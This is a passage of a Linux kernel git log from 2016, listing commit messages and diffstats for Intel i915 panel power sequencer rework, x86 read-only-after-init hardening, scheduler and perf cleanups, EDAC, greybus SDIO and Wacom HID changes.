commit eebb40e0814fe20dba2ccb899557521cbf423711 Author: Imre Deak Date: Wed Aug 10 14:07:34 2016 +0300 drm/i915: Remove LVDS and PPS suspend time save/restore In the preceding patches we made sure that: - the LVDS encoder takes care of reiniting both the LVDS register and its PPS - the eDP encoder takes care of reiniting its PPS - the PPS register unlocking workaround is applied explicitly whenever the PPS context is lost Based on the above we can safely remove the opaque LVDS and PPS save / restore from generic code. Signed-off-by: Imre Deak Reviewed-by: Ville Syrjälä Link: http://patchwork.freedesktop.org/patch/msgid/1470827254-21954-6-git-send-email-imre.deak@intel.com drivers/gpu/drm/i915/i915_drv.h | 7 ------- drivers/gpu/drm/i915/i915_suspend.c | 31 ------------------------------- 2 files changed, 38 deletions(-) commit 8090ba8c216ff75c32ecb85c41adf3c5126d8a92 Author: Imre Deak Date: Wed Aug 10 14:07:33 2016 +0300 drm/i915: Apply the PPS register unlock workaround more consistently Atm, we apply this workaround somewhat inconsistently at the following points: driver loading, LVDS init, eDP PPS init, system resume. As this workaround also affects registers other than PPS (timing, PLL) a more consistent way is to apply it early after the PPS HW context is known to be lost: driver loading, system resume and on VLV/CHV/BXT when turning on power domains. This is needed by the next patch that removes saving/restoring of the PP_CONTROL register. This also removes the incorrect programming of the workaround on HSW+ PCH platforms which don't have the register locking mechanism. v2: (Ville) - Don't apply the workaround on BXT. - Simplify platform checks using HAS_DDI(). v3: - Move the call of intel_pps_unlock_regs_wa() to the more logical vlv_display_power_well_init() (also fixing CHV) (Ville). Signed-off-by: Imre Deak Reviewed-by: Ville Syrjälä Link: http://patchwork.freedesktop.org/patch/msgid/1470827254-21954-5-git-send-email-imre.deak@intel.com drivers/gpu/drm/i915/i915_drv.c | 1 + drivers/gpu/drm/i915/intel_display.c | 26 ++++++++++++++++++++++++++ drivers/gpu/drm/i915/intel_dp.c | 3 ++- drivers/gpu/drm/i915/intel_drv.h | 1 + drivers/gpu/drm/i915/intel_lvds.c | 8 -------- drivers/gpu/drm/i915/intel_runtime_pm.c | 4 ++++ 6 files changed, 34 insertions(+), 9 deletions(-) commit 335f752ba948f30e8ebbf3c4217e1714a885be44 Author: Imre Deak Date: Wed Aug 10 14:07:32 2016 +0300 drm/i915/dp: Restore PPS HW state from the encoder resume hook Similarly to the previous patch, initialize the PPS from the DP encoder's resume hook. Note that as opposed to LVDS we can't do this during encoder enabling, since we need the PPS for DP detection as well. The PPS init code is now the same for init and resume, so factor out a new intel_dp_pps_init() helper for this. v2: - Factor out intel_dp_pps_init() (Ville). Signed-off-by: Imre Deak Reviewed-by: Ville Syrjälä Link: http://patchwork.freedesktop.org/patch/msgid/1470827254-21954-4-git-send-email-imre.deak@intel.com drivers/gpu/drm/i915/intel_dp.c | 31 ++++++++++++++++--------------- 1 file changed, 16 insertions(+), 15 deletions(-) commit ed6143b8f7537db98e94feeb50e7b7f698c7cb05 Author: Imre Deak Date: Wed Aug 10 14:07:31 2016 +0300 drm/i915/lvds: Restore initial HW state during encoder enabling Atm the LVDS encoder depends on the PPS HW context being saved/restored from generic suspend/resume code. Since the PPS is specific to the LVDS and eDP encoders a cleaner way is to reinitialize it during encoder enabling, so do this here for LVDS. Follow-up patches will init the PPS for the eDP encoder similarly and remove the suspend/resume time save / restore. v2: - Apply BSpec +1 offset and use DIV_ROUND_UP() when programming the power cycle delay. (Ville) v3: (Ville) - Fix +1 vs. round-up order. - s/reset_on_powerdown/powerdown_on_reset/ Signed-off-by: Imre Deak Reviewed-by: Ville Syrjälä Link: http://patchwork.freedesktop.org/patch/msgid/1470827254-21954-3-git-send-email-imre.deak@intel.com drivers/gpu/drm/i915/i915_reg.h | 1 + drivers/gpu/drm/i915/intel_lvds.c | 114 +++++++++++++++++++++++++++++++++----- 2 files changed, 102 insertions(+), 13 deletions(-) commit 5a162e229a0472bb3e953aa6fc1bb6fcf52843c8 Author: Imre Deak Date: Wed Aug 10 14:07:30 2016 +0300 drm/i915: Merge TARGET_POWER_ON and PANEL_POWER_ON flag definitions These two flags mean the same thing, so remove the duplication. Signed-off-by: Imre Deak Reviewed-by: Ville Syrjälä Link: http://patchwork.freedesktop.org/patch/msgid/1470827254-21954-2-git-send-email-imre.deak@intel.com drivers/gpu/drm/i915/i915_reg.h | 1 - drivers/gpu/drm/i915/intel_dp.c | 6 +++--- drivers/gpu/drm/i915/intel_lvds.c | 4 ++-- 3 files changed, 5 insertions(+), 6 deletions(-) commit 44cb734cd2ea09e4fb8166fdd1f0ef65af3a95de Author: Imre Deak Date: Wed Aug 10 14:07:29 2016 +0300 drm/i915: Merge the PPS register definitions The PPS registers are pretty much the same everywhere, the differences being: - Register fields appearing, disappearing from one platform to the next: panel-reset-on-powerdown, backlight-on, panel-port, register-unlock - Different register base addresses - Different number of PPS instances: 2 on VLV/CHV/BXT, 1 everywhere else. We can merge the separate set of PPS definitions by extending the PPS instance argument to all platforms and using instance 0 on platforms with a single instance. This means we'll need to calculate the register addresses dynamically based on the given platform and PPS instance. v2: - Simplify if ladder in intel_pps_get_registers(). (Ville) Signed-off-by: Imre Deak Reviewed-by: Ville Syrjälä Link: http://patchwork.freedesktop.org/patch/msgid/1470827254-21954-1-git-send-email-imre.deak@intel.com drivers/gpu/drm/i915/i915_drv.h | 2 + drivers/gpu/drm/i915/i915_reg.h | 145 ++++++++++++++--------------------- drivers/gpu/drm/i915/i915_suspend.c | 30 +++----- drivers/gpu/drm/i915/intel_display.c | 22 ++++-- drivers/gpu/drm/i915/intel_dp.c | 45 +++++------ drivers/gpu/drm/i915/intel_lvds.c | 43 +++-------- 6 files changed, 117 insertions(+), 170 deletions(-) commit 404f6aac9b3ef595735feca99979db084ea48315 Author: Kees Cook Date: Mon Aug 8 16:29:06 2016 -0700 x86: Apply more __ro_after_init and const Guided by grsecurity's analogous __read_only markings in arch/x86, this applies several uses of __ro_after_init to structures that are only updated during __init, and const for some structures that are never updated. Additionally extends __init markings to some functions that are only used during __init, and cleans up some missing C99 style static initializers. Signed-off-by: Kees Cook Cc: Andy Lutomirski Cc: Andy Lutomirski Cc: Arnd Bergmann Cc: Borislav Petkov Cc: Brad Spengler Cc: Brian Gerst Cc: David Brown Cc: Denys Vlasenko Cc: Emese Revfy Cc: H. Peter Anvin Cc: Josh Poimboeuf Cc: Linus Torvalds Cc: Mathias Krause Cc: Michael Ellerman Cc: PaX Team Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: kernel-hardening@lists.openwall.com Link: http://lkml.kernel.org/r/20160808232906.GA29731@www.outflux.net Signed-off-by: Ingo Molnar arch/x86/include/asm/desc.h | 2 +- arch/x86/include/asm/fpu/xstate.h | 3 ++- arch/x86/kernel/apic/apic_flat_64.c | 6 +++--- arch/x86/kernel/apic/apic_noop.c | 2 +- arch/x86/kernel/apic/bigsmp_32.c | 2 +- arch/x86/kernel/apic/msi.c | 2 +- arch/x86/kernel/apic/probe_32.c | 4 ++-- arch/x86/kernel/apic/x2apic_cluster.c | 2 +- arch/x86/kernel/apic/x2apic_phys.c | 2 +- arch/x86/kernel/apic/x2apic_uv_x.c | 2 +- arch/x86/kernel/cpu/common.c | 11 ++++++++--- arch/x86/kernel/cpu/mtrr/main.c | 4 ++-- arch/x86/kernel/cpu/mtrr/mtrr.h | 2 +- arch/x86/kernel/ksysfs.c | 2 +- arch/x86/kernel/kvmclock.c | 2 +- arch/x86/kernel/paravirt.c | 2 +- arch/x86/kernel/ptrace.c | 6 +++--- arch/x86/kernel/reboot.c | 2 +- arch/x86/kernel/setup.c | 4 ++-- arch/x86/kernel/setup_percpu.c | 2 +- arch/x86/kernel/x86_init.c | 6 +++--- arch/x86/kvm/svm.c | 2 +- arch/x86/kvm/vmx.c | 2 +- arch/x86/pci/pcbios.c | 7 +++++-- 24 files changed, 45 insertions(+), 36 deletions(-) commit 03fc6ea97f02006ea4dbc1e9f1e8ccba6fe58656 Author: Thor Thayer Date: Tue Aug 9 09:40:53 2016 -0500 ARM: dts: Add Arria10 SD/MMC EDAC devicetree entry Add the device tree entries needed to support the Altera SD/MMC FIFO buffer EDAC on the Arria10 chip. Signed-off-by: Thor Thayer Acked-by: Dinh Nguyen Cc: devicetree@vger.kernel.org Cc: linux-arm-kernel@lists.infradead.org Cc: linux-edac Link: http://lkml.kernel.org/r/1470753653-23465-4-git-send-email-tthayer@opensource.altera.com Signed-off-by: Borislav Petkov arch/arm/boot/dts/socfpga_arria10_socdk_sdmmc.dts | 12 ++++++++++++ 1 file changed, 12 insertions(+) commit 911049845d7096c27304930ff478cbf3f2623ba3 Author: Thor Thayer Date: Tue Aug 9 09:40:52 2016 -0500 EDAC, altera: Add Arria10 SD-MMC EDAC support Add Altera Arria10 SD-MMC FIFO memory EDAC support. The SD-MMC is a dual port RAM implementation which is different than any of the other peripherals and therefore requires additional code. Signed-off-by: Thor Thayer Cc: dinguyen@opensource.altera.com Cc: linux-arm-kernel@lists.infradead.org Cc: linux-edac Link: http://lkml.kernel.org/r/1470753653-23465-3-git-send-email-tthayer@opensource.altera.com Signed-off-by: Borislav Petkov drivers/edac/Kconfig | 7 ++ drivers/edac/altera_edac.c | 188 ++++++++++++++++++++++++++++++++++++++++++++- drivers/edac/altera_edac.h | 5 ++ 3 files changed, 199 insertions(+), 1 deletion(-) commit 80127a39681bd68c959f0953f84a830cbd7c3b1c Author: Peter Zijlstra Date: Thu Jul 14 20:08:46 2016 +0200 locking/percpu-rwsem: Optimize readers and reduce global impact Currently the percpu-rwsem switches to (global) atomic ops while a writer is waiting; which could be quite a while and slows down releasing the readers. This patch cures this problem by ordering the reader-state vs reader-count (see the comments in __percpu_down_read() and percpu_down_write()). This changes a global atomic op into a full memory barrier, which doesn't have the global cacheline contention. This also enables using the percpu-rwsem with rcu_sync disabled in order to bias the implementation differently, reducing the writer latency by adding some cost to readers. Signed-off-by: Peter Zijlstra (Intel) Reviewed-by: Oleg Nesterov Cc: Andrew Morton Cc: Linus Torvalds Cc: Paul E. McKenney Cc: Paul McKenney Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: linux-kernel@vger.kernel.org [ Fixed modular build. ] Signed-off-by: Ingo Molnar include/linux/percpu-rwsem.h | 84 ++++++++++++++-- kernel/locking/percpu-rwsem.c | 228 ++++++++++++++++++++++++------------------ kernel/rcu/sync.c | 2 + 3 files changed, 208 insertions(+), 106 deletions(-) commit a518b0a5b0d7f3397e065acb956bca9635aa892d Author: Vivek Goyal Date: Wed Jul 13 10:44:53 2016 -0400 selinux: Implement dentry_create_files_as() hook Calculate what would be the label of newly created file and set that secid in the passed creds. Context of the task which is actually creating file is retrieved from set of creds passed in. (old->security). Signed-off-by: Vivek Goyal Acked-by: Stephen Smalley Signed-off-by: Paul Moore security/selinux/hooks.c | 22 ++++++++++++++++++++++ 1 file changed, 22 insertions(+) commit 08be8f63c40c030b5cf95b4368e314e563a86301 Author: Waiman Long Date: Tue May 31 12:53:47 2016 -0400 locking/pvstat: Separate wait_again and spurious wakeup stats Currently there are overlap in the pvqspinlock wait_again and spurious_wakeup stat counters. Because of lock stealing, it is no longer possible to accurately determine if spurious wakeup has happened in the queue head. As they track both the queue node and queue head status, it is also hard to tell how many of those comes from the queue head and how many from the queue node. This patch changes the accounting rules so that spurious wakeup is only tracked in the queue node. The wait_again count, however, is only tracked in the queue head when the vCPU failed to acquire the lock after a vCPU kick. This should give a much better indication of the wait-kick dynamics in the queue node and the queue head. Signed-off-by: Waiman Long Signed-off-by: Peter Zijlstra (Intel) Cc: Andrew Morton Cc: Boqun Feng Cc: Douglas Hatch Cc: Linus Torvalds Cc: Pan Xinhui Cc: Paul E. McKenney Cc: Peter Zijlstra Cc: Scott J Norton Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/1464713631-1066-2-git-send-email-Waiman.Long@hpe.com Signed-off-by: Ingo Molnar kernel/locking/qspinlock_paravirt.h | 12 +++--------- kernel/locking/qspinlock_stat.h | 4 ++-- 2 files changed, 5 insertions(+), 11 deletions(-) commit 64a5e3cb308028dba0676daae0a7821d770036fa Author: Peter Zijlstra Date: Thu Jul 14 14:26:11 2016 +0200 locking/qspinlock: Improve readability Restructure pv_queued_spin_steal_lock() as I found it hard to read. Signed-off-by: Peter Zijlstra (Intel) Cc: Andrew Morton Cc: Linus Torvalds Cc: Paul E. McKenney Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: Waiman Long kernel/locking/qspinlock_paravirt.h | 12 +++++++----- 1 file changed, 7 insertions(+), 5 deletions(-) commit 98b0a857805080db04f50b8c71438c9c369ef0b3 Author: Juri Lelli Date: Fri Aug 5 16:07:55 2016 +0100 sched/deadline: Remove useless parameter from setup_new_dl_entity() setup_new_dl_entity() takes two parameters, but it only actually uses one of them, under a different name, to setup a new dl_entity, after: 2f9f3fdc928 "sched/deadline: Remove dl_new from struct sched_dl_entity" as we currently do: setup_new_dl_entity(&p->dl, &p->dl) However, before Luca's change we were doing: setup_new_dl_entity(dl_se, pi_se) in update_dl_entity() for a dl_se->new entity: we were using pi_se's parameters (the potential PI donor) for setting up a new entity. This change removes the useless second parameter of setup_new_dl_entity(). While we are at it we also optimize things further calling setup_new_dl_ entity() only for already queued tasks, since (as pointed out by Xunlei) we already do the very same update at tasks wakeup time anyway. By doing so, we don't need to worry about a potential PI donor anymore, as rt_mutex_setprio() takes care of that already for us. Signed-off-by: Juri Lelli Signed-off-by: Peter Zijlstra (Intel) Reviewed-by: Steven Rostedt Cc: Linus Torvalds Cc: Luca Abeni Cc: Mike Galbraith Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: Xunlei Pang Link: http://lkml.kernel.org/r/1470409675-20935-1-git-send-email-juri.lelli@arm.com Signed-off-by: Ingo Molnar kernel/sched/deadline.c | 22 ++++++++++++++++------ 1 file changed, 16 insertions(+), 6 deletions(-) commit 9279e0d2e565e0217618c2087de83d3239811329 Author: Luis de Bethencourt Date: Sun Jul 10 15:00:26 2016 +0100 sched/core: Add documentation for 'cookie' argument Add documentation for the cookie argument in try_to_wake_up_local(). This caused the following warning when building documentation: kernel/sched/core.c:2088: warning: No description found for parameter 'cookie' Signed-off-by: Luis de Bethencourt Signed-off-by: Peter Zijlstra (Intel) Cc: Linus Torvalds Cc: Mike Galbraith Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: akpm@linux-foundation.org Fixes: e7904a28f533 ("ilocking/lockdep, sched/core: Implement a better lock pinning scheme") Link: http://lkml.kernel.org/r/1468159226-17674-1-git-send-email-luisbg@osg.samsung.com Signed-off-by: Ingo Molnar kernel/sched/core.c | 1 + 1 file changed, 1 insertion(+) commit eaecf41f5abf80b63c8e025fcb9ee4aa203c3038 Author: Morten Rasmussen Date: Wed Jun 22 18:03:14 2016 +0100 sched/fair: Optimize find_idlest_cpu() when there is no choice In the current find_idlest_group()/find_idlest_cpu() search we end up calling find_idlest_cpu() in a sched_group containing only one CPU in the end. Checking idle-states becomes pointless when there is no alternative, so bail out instead. Signed-off-by: Morten Rasmussen Signed-off-by: Peter Zijlstra (Intel) Cc: Linus Torvalds Cc: Mike Galbraith Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: dietmar.eggemann@arm.com Cc: linux-kernel@vger.kernel.org Cc: mgalbraith@suse.de Cc: vincent.guittot@linaro.org Cc: yuyang.du@intel.com Link: http://lkml.kernel.org/r/1466615004-3503-4-git-send-email-morten.rasmussen@arm.com Signed-off-by: Ingo Molnar kernel/sched/fair.c | 4 ++++ 1 file changed, 4 insertions(+) commit 772bd008cd9a1d4e8ce566f2edcc61d1c28fcbe5 Author: Morten Rasmussen Date: Wed Jun 22 18:03:13 2016 +0100 sched/fair: Make the use of prev_cpu consistent in the wakeup path In commit: ac66f5477239 ("sched/numa: Introduce migrate_swap()") select_task_rq() got a 'cpu' argument to enable overriding of prev_cpu in special cases (NUMA task swapping). However, the select_task_rq_fair() helper functions: wake_affine() and select_idle_sibling(), still use task_cpu(p) directly to work out prev_cpu, which leads to inconsistencies. This patch passes prev_cpu (potentially overridden by NUMA code) into the helper functions to ensure prev_cpu is indeed the same CPU everywhere in the wakeup path. cc: Ingo Molnar cc: Rik van Riel Signed-off-by: Morten Rasmussen Signed-off-by: Peter Zijlstra (Intel) Cc: Linus Torvalds Cc: Mike Galbraith Cc: Peter Zijlstra Cc: Rik van Riel Cc: Thomas Gleixner Cc: dietmar.eggemann@arm.com Cc: linux-kernel@vger.kernel.org Cc: mgalbraith@suse.de Cc: vincent.guittot@linaro.org Cc: yuyang.du@intel.com Link: http://lkml.kernel.org/r/1466615004-3503-3-git-send-email-morten.rasmussen@arm.com Signed-off-by: Ingo Molnar kernel/sched/fair.c | 24 +++++++++++++----------- 1 file changed, 13 insertions(+), 11 deletions(-) commit bd425d4bfc7a1a6064dbbadfbac9c7eec0e426ec Author: Morten Rasmussen Date: Wed Jun 22 18:03:12 2016 +0100 sched/core: Fix power to capacity renaming in comment It is seems that this one escaped Nico's renaming of cpu_power to cpu_capacity a while back. Signed-off-by: Morten Rasmussen Signed-off-by: Peter Zijlstra (Intel) Cc: Linus Torvalds Cc: Mike Galbraith Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: dietmar.eggemann@arm.com Cc: linux-kernel@vger.kernel.org Cc: mgalbraith@suse.de Cc: vincent.guittot@linaro.org Cc: yuyang.du@intel.com Link: http://lkml.kernel.org/r/1466615004-3503-2-git-send-email-morten.rasmussen@arm.com Signed-off-by: Ingo Molnar include/linux/sched.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 7c3edd2c300b7ef2005a69dc727692ee07434aa5 Author: Peter Zijlstra Date: Wed Jul 13 10:56:25 2016 +0200 sched/fair: Improve PELT stuff some more Vincent noted that the update_tg_load_avg() usage in commit: 3d30544f0212 ("sched/fair: Apply more PELT fixes") isn't entirely sufficient. We need to call this function every time cfs_rq->avg.load changes, this includes when update_cfs_rq_load_avg() returns true, but {attach,detach}_entity_load_avg() themselves also change it. This means we need to unconditionally call update_tg_load_avg(). Also, add more comments. Reported-by: Vincent Guittot Signed-off-by: Peter Zijlstra (Intel) Cc: Linus Torvalds Cc: Mike Galbraith Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: linux-kernel@vger.kernel.org Signed-off-by: Ingo Molnar kernel/sched/fair.c | 44 +++++++++++++++++++++++++------------------- 1 file changed, 25 insertions(+), 19 deletions(-) commit a1fd46565bea62840a24bee7b7c60f65bb12bd21 Author: Leo Yan Date: Fri Aug 5 14:32:38 2016 +0800 sched/core: Fix one typo Fix one minor typo in the comment: s/targer/target/. Signed-off-by: Leo Yan Signed-off-by: Peter Zijlstra (Intel) Cc: Linus Torvalds Cc: Mike Galbraith Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: linux-kernel@vger.kernel.org Link: http://lkml.kernel.org/r/1470378758-15066-1-git-send-email-leo.yan@linaro.org Signed-off-by: Ingo Molnar kernel/sched/core.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 31851a9874d63dbb532910a86b2be49c15997ea3 Author: Leo Yan Date: Fri Aug 5 14:31:29 2016 +0800 sched/fair: Remove 'cpu_busy' parameter from update_next_balance() The update_next_balance() function is only used by idle balancing, so its 'cpu_busy' parameter is always 0. Open code it instead of passing it around. Signed-off-by: Leo Yan Signed-off-by: Peter Zijlstra (Intel) Cc: Linus Torvalds Cc: Mike Galbraith Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: linux-kernel@vger.kernel.org Link: http://lkml.kernel.org/r/1470378689-14892-1-git-send-email-leo.yan@linaro.org Signed-off-by: Ingo Molnar kernel/sched/fair.c | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) commit e48c178814b4a33f84f62d01f5a601ebd57fbba8 Author: Peter Zijlstra Date: Wed Jul 6 09:18:30 2016 +0200 perf/core: Optimize perf_pmu_sched_task() For perf record -b, which requires the pmu::sched_task callback the current code is rather expensive: 7.68% sched-pipe [kernel.vmlinux] [k] perf_pmu_sched_task 5.95% sched-pipe [kernel.vmlinux] [k] __switch_to 5.20% sched-pipe [kernel.vmlinux] [k] __intel_pmu_disable_all 3.95% sched-pipe perf [.] worker_thread The problem is that it will iterate all registered PMUs, most of which will not have anything to do. Avoid this by keeping an explicit list of PMUs that have requested the callback. The perf_sched_cb_{inc,dec}() functions already takes the required pmu argument, and now that these functions are no longer called from NMI context we can use them to manage a list. With this patch applied the function doesn't show up in the top 4 anymore (it dropped to 18th place). 6.67% sched-pipe [kernel.vmlinux] [k] __switch_to 6.18% sched-pipe [kernel.vmlinux] [k] __intel_pmu_disable_all 3.92% sched-pipe [kernel.vmlinux] [k] switch_mm_irqs_off 3.71% sched-pipe perf [.] worker_thread Signed-off-by: Peter Zijlstra (Intel) Cc: Alexander Shishkin Cc: Arnaldo Carvalho de Melo Cc: Jiri Olsa Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Stephane Eranian Cc: Thomas Gleixner Cc: Vince Weaver Cc: linux-kernel@vger.kernel.org Signed-off-by: Ingo Molnar include/linux/perf_event.h | 3 +++ kernel/events/core.c | 43 ++++++++++++++++++++++++------------------- 2 files changed, 27 insertions(+), 19 deletions(-) commit 3e2c1a67d616dbc1034bc39448cd5f4aa3bd3cca Author: Peter Zijlstra Date: Thu Jul 7 19:37:52 2016 +0200 perf/x86/intel: Clean up LBR state tracking The lbr_context logic confused me; it appears to me to try and do the same thing the pmu::sched_task() callback does now, but limited to per-task events. So rip it out. Afaict this should also improve performance, because I think the current code can end up doing lbr_reset() twice, once from the pmu::add() and then again from pmu::sched_task(), and MSR writes (all 3*16 of them) are expensive!! While thinking through the cases that need the reset it occured to me the first install of an event in an active context needs to reset the LBR (who knows what crap is in there), but detecting this case is somewhat hard. Signed-off-by: Peter Zijlstra (Intel) Cc: Alexander Shishkin Cc: Arnaldo Carvalho de Melo Cc: Jiri Olsa Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Stephane Eranian Cc: Thomas Gleixner Cc: Vince Weaver Cc: linux-kernel@vger.kernel.org Signed-off-by: Ingo Molnar arch/x86/events/intel/lbr.c | 57 ++++++++++++++++++++++---------------------- arch/x86/events/perf_event.h | 1 - 2 files changed, 29 insertions(+), 29 deletions(-) commit a5dcff628a678b9f4535155662f81c5cda066bc7 Author: Peter Zijlstra Date: Thu Jul 7 19:37:52 2016 +0200 perf/x86/intel: Remove redundant test from intel_pmu_lbr_add() By the time we call pmu::add(), event->ctx must be set, and we even already rely on this, so remove that test from intel_pmu_lbr_add(). Signed-off-by: Peter Zijlstra (Intel) Cc: Alexander Shishkin Cc: Arnaldo Carvalho de Melo Cc: Jiri Olsa Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Stephane Eranian Cc: Thomas Gleixner Cc: Vince Weaver Cc: linux-kernel@vger.kernel.org Signed-off-by: Ingo Molnar arch/x86/events/intel/lbr.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit c3a61a2c5c6b6b4dd878812507c681c9aec3ed17 Author: Peter Zijlstra Date: Thu Jul 7 19:37:52 2016 +0200 perf/x86/intel: Eliminate dead code in intel_pmu_lbr_del() Since pmu::del() is always called under perf_pmu_disable(), the block conditional on cpuc->enabled is dead. Signed-off-by: Peter Zijlstra (Intel) Cc: Alexander Shishkin Cc: Arnaldo Carvalho de Melo Cc: Jiri Olsa Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Stephane Eranian Cc: Thomas Gleixner Cc: Vince Weaver Cc: linux-kernel@vger.kernel.org Signed-off-by: Ingo Molnar arch/x86/events/intel/lbr.c | 6 ------ 1 file changed, 6 deletions(-) commit 68f7082ffb0575154ccdec36109e293174f48a4c Author: Peter Zijlstra Date: Wed Jul 6 18:02:43 2016 +0200 perf/x86: Ensure perf_sched_cb_{inc,dec}() is only called from pmu::{add,del}() Currently perf_sched_cb_{inc,dec}() are called from pmu::{start,stop}(), which has the problem that this can happen from NMI context, this is making it hard to optimize perf_pmu_sched_task(). Furthermore, we really only need this accounting on pmu::{add,del}(), so doing it from pmu::{start,stop}() is doing more work than we really need. Introduce x86_pmu::{add,del}() and wire up the LBR and PEBS. Signed-off-by: Peter Zijlstra (Intel) Cc: Alexander Shishkin Cc: Arnaldo Carvalho de Melo Cc: Jiri Olsa Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Stephane Eranian Cc: Thomas Gleixner Cc: Vince Weaver Cc: linux-kernel@vger.kernel.org Signed-off-by: Ingo Molnar arch/x86/events/core.c | 24 ++++++++++++++++++++++-- arch/x86/events/intel/core.c | 31 ++++++++++++++++++------------- arch/x86/events/intel/ds.c | 8 ++------ arch/x86/events/intel/lbr.c | 4 ++-- arch/x86/events/perf_event.h | 10 ++++++++-- 5 files changed, 52 insertions(+), 25 deletions(-) commit 09e61b4f78498bd9f213b0a536e80b79507ea89f Author: Peter Zijlstra Date: Wed Jul 6 18:02:43 2016 +0200 perf/x86/intel: Rework the large PEBS setup code In order to allow optimizing perf_pmu_sched_task() we must ensure perf_sched_cb_{inc,dec}() are no longer called from NMI context; this means that pmu::{start,stop}() can no longer use them. Prepare for this by reworking the whole large PEBS setup code. The current code relied on the cpuc->pebs_enabled state, however since that reflects the current active state as per pmu::{start,stop}() we can no longer rely on this. Introduce two counters: cpuc->n_pebs and cpuc->n_large_pebs which count the total number of PEBS events and the number of PEBS events that have FREERUNNING set, resp.. With this we can tell if the current setup requires a single record interrupt threshold or can use a larger buffer. This also improves the code in that it re-enables the large threshold once the PEBS event that required single record gets removed. Signed-off-by: Peter Zijlstra (Intel) Cc: Alexander Shishkin Cc: Arnaldo Carvalho de Melo Cc: Jiri Olsa Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Stephane Eranian Cc: Thomas Gleixner Cc: Vince Weaver Cc: linux-kernel@vger.kernel.org Signed-off-by: Ingo Molnar arch/x86/events/intel/ds.c | 102 ++++++++++++++++++++++++++++--------------- arch/x86/events/perf_event.h | 2 + kernel/events/core.c | 4 ++ 3 files changed, 73 insertions(+), 35 deletions(-) commit 3f005e7de3db8d0b3f7a1f399aa061dc35b65864 Author: Mark Rutland Date: Tue Jul 26 18:12:21 2016 +0100 perf/core: Sched out groups atomically Groups of events are supposed to be scheduled atomically, such that it is possible to derive meaningful ratios between their values. We take great pains to achieve this when scheduling event groups to a PMU in group_sched_in(), calling {start,commit}_txn() (which fall back to perf_pmu_{disable,enable}() if necessary) to provide this guarantee. However we don't mirror this in group_sched_out(), and in some cases events will not be scheduled out atomically. For example, if we disable an event group with PERF_EVENT_IOC_DISABLE, we'll cross-call __perf_event_disable() for the group leader, and will call group_sched_out() without having first disabled the relevant PMU. We will disable/enable the PMU around each pmu->del() call, but between each call the PMU will be enabled and events may count. Avoid this by explicitly disabling and enabling the PMU around event removal in group_sched_out(), mirroring what we do in group_sched_in(). Signed-off-by: Mark Rutland Signed-off-by: Peter Zijlstra (Intel) Cc: Alexander Shishkin Cc: Arnaldo Carvalho de Melo Cc: Arnaldo Carvalho de Melo Cc: Jiri Olsa Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Stephane Eranian Cc: Thomas Gleixner Cc: Vince Weaver Link: http://lkml.kernel.org/r/1469553141-28314-1-git-send-email-mark.rutland@arm.com Signed-off-by: Ingo Molnar kernel/events/core.c | 4 ++++ 1 file changed, 4 insertions(+) commit afbf72505be3da3bb7563e3e403020a3ba62f4f7 Author: Rui Miguel Silva Date: Tue Aug 9 23:35:35 2016 +0100 greybus: sdio: increase maximum segment size Adjust maximum segment size of the sg list to meet the maximum request size, this will allow to have less segments which increase the performance of data movement during transfer operations. Test Done: using mmc_test with best-case read/write performance and see that only one segment is used and that the results are better (288KiB vs 300KiB in read operation). Signed-off-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/sdio.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 64f28ada9349ab071096484281548b6be1791cd7 Author: Rui Miguel Silva Date: Tue Aug 9 23:35:34 2016 +0100 greybus: greybus_protocol: fix order of sdio get caps response Order of the field of the sdio get caps operation response were wrong, that influence later the frequencies used by core, during normal operation. Tested: verified that the values inserted by the fw are the correct ones for the field. Suggested-by: Jackson Chang Signed-off-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit a30051491ac75e1a66b0dd7bc36925561abfcb61 Author: Krzysztof Kozlowski Date: Tue Jul 19 13:09:14 2016 +0200 ARM: exynos_defconfig: Enable PM_DEBUG PM_DEBUG and PM_ADVANCED_DEBUG bring some information useful for development and they should not cause any significant overhead. Enable them in default configuration so debugging would be slightly easier. Signed-off-by: Krzysztof Kozlowski Reviewed-by: Javier Martinez Canillas Acked-by: Kukjin Kim arch/arm/configs/exynos_defconfig | 2 ++ 1 file changed, 2 insertions(+) commit 1924e05e6014917b23b7648302be39cfee03d047 Author: Ping Cheng Date: Tue Aug 9 14:38:56 2016 -0700 HID: wacom - add touch_arbitration parameter to wacom module Touch arbitration is always on in wacom.ko. However, there are touch enabled applications use both pen and touch simultaneously. We should provide an option for userland to decide if they want arbitration on or off. This patch sets default touch_arbitration to on since most userland apps are not ready to process pen and touch events simultaneously. In the future, when userland is ready to accept pen and touch events together, we will switch default touch_arbitration to off. Tested-by: Peter Hutterer Signed-off-by: Ping Cheng Reviewed-by: Benjamin Tissoires Signed-off-by: Jiri Kosina drivers/hid/wacom_wac.c | 63 ++++++++++++++++++++++++++++--------------------- 1 file changed, 36 insertions(+), 27 deletions(-) commit 41372d5d40e73ef4d8574e53a39c7faabff20260 Author: Jason Gerecke Date: Mon Aug 8 12:06:30 2016 -0700 HID: wacom: Augment 'oVid' and 'oPid' with heuristics for HID_GENERIC The 'oVid' and 'oPid' variables used by wacom_are_sibling are a hacky solution to the problem of the driver historically having few good 